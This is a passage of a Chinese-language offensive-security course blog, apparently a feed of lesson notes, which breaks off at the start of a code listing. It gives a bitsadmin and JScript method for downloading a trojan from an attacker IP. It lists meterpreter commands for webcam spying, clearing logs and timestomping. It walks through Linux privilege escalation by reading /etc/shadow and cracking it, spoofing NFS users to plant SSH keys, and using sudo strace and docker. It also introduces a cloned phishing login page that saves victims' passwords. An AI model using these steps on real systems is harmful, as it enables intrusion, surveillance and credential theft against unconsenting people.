&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;bitsadmin /rawreturn /transfer down http://&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;攻击机ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;/木马文件名 &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;保存路径及文件名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 例如 bitsadmin /rawreturn /transfer down http://192.168.80.133/1.txt c:\1.txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;方法三使用js下载文件&#34;&gt;方法三：使用js下载文件
&lt;/h4&gt;&lt;p&gt;新建&lt;code&gt;a.js&lt;/code&gt;文件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;WinHttpReq&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;WinHttp.WinHttpRequest.5.1&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;WinHttpReq&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;WScript&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Arguments&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;/*async =* /false);WinHttpReq.Send();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;WScript&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Echo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;WinHttpReq&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;ResponseText&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在同目录cmd中执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cscript /nologo a.js http://192.168.80.133/1.txt &amp;gt;&amp;gt; 123.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;meterpreter操作补充&#34;&gt;meterpreter操作补充
&lt;/h2&gt;&lt;h3 id=&#34;禁用键盘鼠标&#34;&gt;禁用键盘/鼠标
&lt;/h3&gt;&lt;p&gt;禁用	&lt;code&gt;uictl disable keyboard或mouse&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;启用 &lt;code&gt;uictl enable keyboard或mouse&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;摄像头&#34;&gt;摄像头
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;webcam_list&lt;/code&gt;	查看摄像头&lt;/p&gt;
&lt;p&gt;&lt;code&gt;webcam_snap&lt;/code&gt;	通过摄像头拍照&lt;/p&gt;
&lt;p&gt;&lt;code&gt;webcam_stream&lt;/code&gt;	通过摄像头开启视频&lt;/p&gt;
&lt;h3 id=&#34;程序相关&#34;&gt;程序相关
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;execute&lt;/code&gt; 在目标上面执行程序&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execute -H -i -f cmd.exe&lt;/code&gt; 后台执行程序&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getpid&lt;/code&gt; 获取当前进程pid&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps&lt;/code&gt;	查看活跃进程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;migreate [pid]&lt;/code&gt;	把meterpreter转移到某个pid&lt;/p&gt;
&lt;p&gt;&lt;code&gt;kill [pid]&lt;/code&gt;	杀掉某个进程&lt;/p&gt;
&lt;h3 id=&#34;反侦察&#34;&gt;反侦察
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;clearev&lt;/code&gt;	一键清除日志&lt;/p&gt;
&lt;p&gt;&lt;code&gt;timestomp -v c://a.exe&lt;/code&gt;	查看c盘a.exe的时间戳&lt;/p&gt;
&lt;p&gt;&lt;code&gt;timestomp -v c://b.exe c://a.exe&lt;/code&gt;	将a.exe的修改时间复制给b.eex&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.11 Linux提权(续)和钓鱼网站</title>
        <link>https://www.retr0.xyz/p/1.11-linux%E6%8F%90%E6%9D%83%E7%BB%AD%E5%92%8C%E9%92%93%E9%B1%BC%E7%BD%91%E7%AB%99/</link>
        <pubDate>Thu, 11 Dec 2025 14:32:18 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.11-linux%E6%8F%90%E6%9D%83%E7%BB%AD%E5%92%8C%E9%92%93%E9%B1%BC%E7%BD%91%E7%AB%99/</guid>
        <description>&lt;h2 id=&#34;提权续&#34;&gt;提权(续)
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;以下命令除非特别指出，均在ssh中执行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;寻找敏感的隐藏文件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;find / -name &lt;span class=&#34;s2&#34;&gt;&amp;#34;.*&amp;#34;&lt;/span&gt; -type f -path &lt;span class=&#34;s2&#34;&gt;&amp;#34;/home/*&amp;#34;&lt;/span&gt; -exec ls -al &lt;span class=&#34;o&#34;&gt;{}&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\;&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;有可能找到用户自己存储的明文密码，使用&lt;code&gt;cat&lt;/code&gt;查看，再使用&lt;code&gt;su [用户名]&lt;/code&gt;切换到对应权限&lt;/p&gt;
&lt;h3 id=&#34;sid提权&#34;&gt;SID提权
&lt;/h3&gt;&lt;p&gt;输入以下命令查看可以使用的命令&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;find / -perm -4000 -type f -exec ls -al &lt;span class=&#34;o&#34;&gt;{}&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;可以看到&lt;code&gt;/usr/bin/xxd&lt;/code&gt;，接着使用下面的命令查看加密后的密码&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;xxd /etc/shadow &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; xxd -r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;复制其中root账户的全部内容（从&lt;code&gt;root:到:::&lt;/code&gt;）保存为txt（以&lt;code&gt;Desktop/pass.txt&lt;/code&gt;为例）&lt;/p&gt;
&lt;p&gt;接着使用破解工具 &lt;strong&gt;john&lt;/strong&gt; 进行字典破解（字典可能打包了，需要手动解压一下）&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; Desktop/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;john pass.txt -w&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;nfs提权&#34;&gt;NFS提权
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;&lt;u&gt;注意：本小节的大部分命令在本机中执行&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;扫描目标服务器端口&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nmap &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;发现对方可能开启了2049端口，接着查看对方挂载了哪些文件夹&lt;/p&gt;
&lt;p&gt;返回：&lt;code&gt;/home/peter *&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;showmount -e &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;接着我们在自己的系统上打开终端创建一个文件夹方便将对方的文件夹挂载到自己的系统上，具体操作如下 &lt;strong&gt;（需要使用root权限执行）&lt;/strong&gt; ：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; /tmp
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mkdir nfs
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; nfs
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mount -t nfs &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;对方ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;:&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;对方挂载的文件夹&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; /tmp/nfs/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ls -la &lt;span class=&#34;c1&#34;&gt;# 查看里面有什么文件夹&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;接下来我们想要把自己的bash复制到这个这个挂载的文件夹里面去，从而实现提权，但是直接copy会提示 &lt;strong&gt;权限不够&lt;/strong&gt; （因为我们系统上的root在对方看来只是一个低权限的外人），所以我们要伪造一个和对方一模一样的账户 &lt;strong&gt;peter&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在ssh中执行&lt;code&gt;cat /etc/passwd&lt;/code&gt;，找到peter这一行，后面跟有两串数字，第一个是uid第二个是gid，所以我们执行：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;groupadd -g &lt;span class=&#34;m&#34;&gt;1005&lt;/span&gt; peter	 &lt;span class=&#34;c1&#34;&gt;# 创建组，名为peter，gid为1005&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;add user peter -uid &lt;span class=&#34;m&#34;&gt;1001&lt;/span&gt; -gid 1005	&lt;span class=&#34;c1&#34;&gt;# 创建名为peter，uid为1001的用户，并添加到gid为1005的组中&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;接下来我们需要使用&lt;code&gt;.ssh&lt;/code&gt;方法提权&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; ~	&lt;span class=&#34;c1&#34;&gt;# 转到本机的peter目录下&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh-keygen	&lt;span class=&#34;c1&#34;&gt;# 生成ssh密钥，并记住.pub文件的名称&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; /tmp/nfs
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mkdir .ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cat ~/.ssh/&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;文件名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;.pub &amp;gt; ./.ssh/authorized_keys		&lt;span class=&#34;c1&#34;&gt;# 将我们伪造的密钥放入对方的可信密钥文件夹&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; ~/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh -i &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;文件名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; peter@&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;发现成功免密码以peter身份登录靶机，我们在ssh中执行&lt;code&gt;sudo -l&lt;/code&gt;查看可以免密码以root身份执行哪些命令，返回&lt;code&gt;(ALL) NOPASSWD: /usr/bin/strace&lt;/code&gt;，发现strace可以使用&lt;/p&gt;
&lt;p&gt;所以我们使用如下命令提权：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo strace -o /dev/null /bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;docker提权&#34;&gt;docker提权
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;docker run -v /:/hostOS -i -t chrisfoseterelli/rootplease
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;钓鱼网站&#34;&gt;钓鱼网站
&lt;/h2&gt;&lt;p&gt;功能介绍：使用网站克隆工具或手敲仿写一个正规网站的登陆页面，并且实现点击登陆后保存密码到服务端本地的txt文件中，同时强制伪加载几秒，然后跳转到正规网站上，给使用者一种没有登陆上是因为网卡了的原因。&lt;/p&gt;
&lt;p&gt;为了方便演示，本项目分为多个文件。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;index.html&lt;/code&gt;注意修改 &lt;strong&gt;第187行&lt;/strong&gt; 的跳转链接&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;  1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 31
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 32
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 33
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 34
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 35
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 36
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 37
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 38
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 39
